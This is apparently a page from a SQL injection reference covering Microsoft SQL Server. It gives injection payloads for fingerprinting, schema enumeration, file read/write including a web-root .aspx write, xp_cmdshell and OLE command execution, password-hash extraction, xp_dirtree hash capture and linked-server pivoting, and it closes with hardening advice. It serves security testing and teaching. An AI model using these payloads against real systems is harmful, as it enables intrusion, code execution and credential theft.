Microsoft SQL Server
Verbose errors, universal stacked-query support, and xp_cmdshell — the friendliest engine to attack and the one where escalation is most direct.
Fingerprinting
MSSQL is the easiest engine to identify because its conversion errors are so descriptive — they name the value, its type, and the target type in plain English.
Markers:
+concatenates strings (unique among the majors)@@versionexists (shared with MySQL) but returns a multi-line banner startingMicrosoft SQL Server- Errors read
Conversion failed when converting …andIncorrect syntax near … TOPinstead ofLIMIT
Identification probes
' AND 1=CONVERT(int,@@version)-- -
-- => Conversion failed when converting the nvarchar value
-- 'Microsoft SQL Server 2019 (RTM-CU18) ...' to data type int.
' AND 'a'+'b'='ab'-- - -- + concatenation
' AND @@SERVERNAME=@@SERVERNAME-- -
' AND 1=(SELECT TOP 1 1 FROM sysobjects)-- -
-- Error text is distinctive:
-- "Unclosed quotation mark after the character string"
-- "Incorrect syntax near ..."Syntax Reference
| Operation | Syntax |
|---|---|
| Comment | -- - or /* */ |
| Version | @@version SERVERPROPERTY('ProductVersion') |
| Current user | SYSTEM_USER USER_NAME() SUSER_SNAME() |
| Current database | DB_NAME() |
| Concatenation | a+b CONCAT(a,b) (2012+) |
| Substring | SUBSTRING(s,1,1) |
| Length | LEN(s) DATALENGTH(s) |
| ASCII value | ASCII(c) UNICODE(c) |
| Char from code | CHAR(65) NCHAR(65) |
| Cast | CAST(s AS int) CONVERT(int,s) |
| Delay | WAITFOR DELAY '0:0:5' (statement, needs stacking) |
| Conditional | IIF(cond,a,b) CASE WHEN cond THEN a ELSE b END |
| Row limit | SELECT TOP 1 … OFFSET 5 ROWS FETCH NEXT 1 ROWS ONLY |
| Aggregate rows | STRING_AGG(col,',') (2017+) FOR XML PATH('') |
| No-table SELECT | SELECT 1 (no FROM needed) |
| Stacked queries | Always supported |
Schema Enumeration
-- Databases
SELECT name FROM master..sysdatabases
SELECT name FROM sys.databases
-- Tables
SELECT name FROM sysobjects WHERE xtype='U'
SELECT table_name FROM information_schema.tables
-- Columns
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')
SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users'
-- Cross-database: MSSQL lets you reach other databases on the same instance
SELECT name FROM otherdb..sysobjects WHERE xtype='U'
-- Everything in one request (2017+)
SELECT STRING_AGG(table_name+'.'+column_name,', ')
FROM information_schema.columns
-- Pre-2017, the FOR XML PATH idiom
SELECT (SELECT table_name+'.'+column_name+'; '
FROM information_schema.columns FOR XML PATH(''))
-- Privileges — is_srvrolemember decides everything downstream
SELECT IS_SRVROLEMEMBER('sysadmin') -- 1 means xp_cmdshell is reachable
SELECT IS_MEMBER('db_owner')
SELECT name FROM sys.sql_logins -- login list
SELECT name,password_hash FROM sys.sql_logins -- hashes, sysadmin onlyFile Read and Write
-- Read a file into a single value (needs ADMINISTER BULK OPERATIONS / bulkadmin)
SELECT * FROM OPENROWSET(BULK 'C:/Windows/win.ini', SINGLE_CLOB) AS x
-- Line by line
CREATE TABLE f(line varchar(8000));
BULK INSERT f FROM 'C:/inetpub/wwwroot/web.config';
SELECT * FROM f;
-- Directory listing via xp_dirtree (also the OOB primitive).
-- xp_dirtree accepts forward slashes; use backslashes for UNC targets.
EXEC master..xp_dirtree 'C:/inetpub/wwwroot',1,1
-- File existence check
EXEC master..xp_fileexist 'C:/Windows/win.ini'
-- Write: no direct primitive. Use xp_cmdshell, or OLE automation:
DECLARE @o INT, @f INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o,'CreateTextFile',@f OUT,'C:/inetpub/wwwroot/s.aspx';
EXEC sp_OAMethod @f,'WriteLine',NULL,'<%response.write(1)%>';Command Execution
xp_cmdshell executes an arbitrary shell command as the SQL Server service account. It is disabled by default since SQL Server 2005 — but a sysadmin can turn it back on in the same injection, so "disabled" is not a security boundary if the application connects with elevated rights.
The fact that MSSQL supports stacked queries universally means this is reachable from any injection point, not just ones that reflect output.
Applications running as sa are unfortunately common in the wild. Check IS_SRVROLEMEMBER('sysadmin') first — if it returns 1, treat the finding as critical RCE, not as data disclosure.
xp_cmdshell and alternatives
-- Enable and run
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami'-- -
-- Read output back through a table (execution is blind otherwise)
'; CREATE TABLE o(line varchar(8000));
INSERT INTO o EXEC xp_cmdshell 'whoami'-- -
' UNION SELECT NULL,line,NULL FROM o-- -
-- OLE automation — alternative when xp_cmdshell is removed
'; EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
DECLARE @o INT;
EXEC sp_OACreate 'WScript.Shell',@o OUT;
EXEC sp_OAMethod @o,'Run',NULL,'cmd /c whoami > C:/out.txt'-- -
-- CLR assemblies — the stealthiest route, and the hardest to remove
'; EXEC sp_configure 'clr enabled',1; RECONFIGURE-- -
-- Agent jobs — execution without xp_cmdshell if SQL Agent runs
'; EXEC msdb.dbo.sp_add_job @job_name='x';
EXEC msdb.dbo.sp_add_jobstep @job_name='x',@step_name='s',
@subsystem='CMDEXEC',@command='whoami > C:/out.txt';
EXEC msdb.dbo.sp_add_jobserver @job_name='x';
EXEC msdb.dbo.sp_start_job @job_name='x'-- -Linked Servers and Lateral Movement
MSSQL instances are frequently linked to one another so queries can span servers. Each link carries stored credentials, and those often belong to a more privileged account than the one you compromised.
This makes a single injection into a low-privilege database a foothold for lateral movement across an estate.
-- Enumerate links
SELECT srvname, srvproduct FROM master..sysservers
EXEC sp_linkedservers
-- Execute on the linked server, using its stored credentials
SELECT * FROM OPENQUERY([REMOTE], 'SELECT @@version')
EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [REMOTE]
-- Links can be bidirectional and chained; a low-privilege
-- account here may map to sa over there.
See Privilege Escalation.
Quirks Worth Knowing
Stacked queries always work. Unlike every other engine, there is no driver configuration to check. Any injection point is a write primitive.
Errors are extremely verbose by default. ASP.NET applications with customErrors="Off" leak full messages, making error-based extraction fast and uncapped.
sysadmin is common. Legacy applications connecting as sa are widespread. Always check.
No LIMIT. TOP n goes after SELECT; OFFSET … FETCH requires an ORDER BY.
Unicode bypasses. N'admin' is an nvarchar literal, and some filters only match the ASCII form.
xp_dirtree triggers SMB authentication, which leaks a NetNTLMv2 hash to any host you name — useful both as an OOB channel and as a credential-capture primitive.
Prevention
Parameterise — see .NET and Java.
MSSQL-specific hardening:
- Never connect an application as
saor anysysadminmember. This is the single highest-value control; it removesxp_cmdshell,sp_OA*, CLR, and agent jobs at once. - Keep
xp_cmdshell,Ole Automation Procedures, andclr enabledoff, and alert onsp_configurechanges. - Set
customErrors="On"in ASP.NET so conversion errors do not reach clients. - Audit linked servers; remove unused ones and ensure links do not map to elevated accounts.
- Restrict outbound SMB from database hosts to stop
xp_dirtreeexfiltration and hash capture.
Related
Appending an entirely separate statement after the original. Where supported it turns a read-only injection into arbitrary write access — and often into code execution.
The routes from an injected query to a shell on the database host, and which engines hand it to you directly.
Coercing the database into embedding your query result inside its own error message. Fast extraction when errors reach the client but results do not.
Making the database itself send data to a host you control, over DNS or HTTP. The answer arrives on a channel the application never sees.
From a low-privilege database account to DBA, and from one database host to the next: credential harvesting, definer's-rights abuse, and linked-server pivoting.
SqlParameter, and the Entity Framework distinction that decides everything: FromSqlRaw vs FromSqlInterpolated.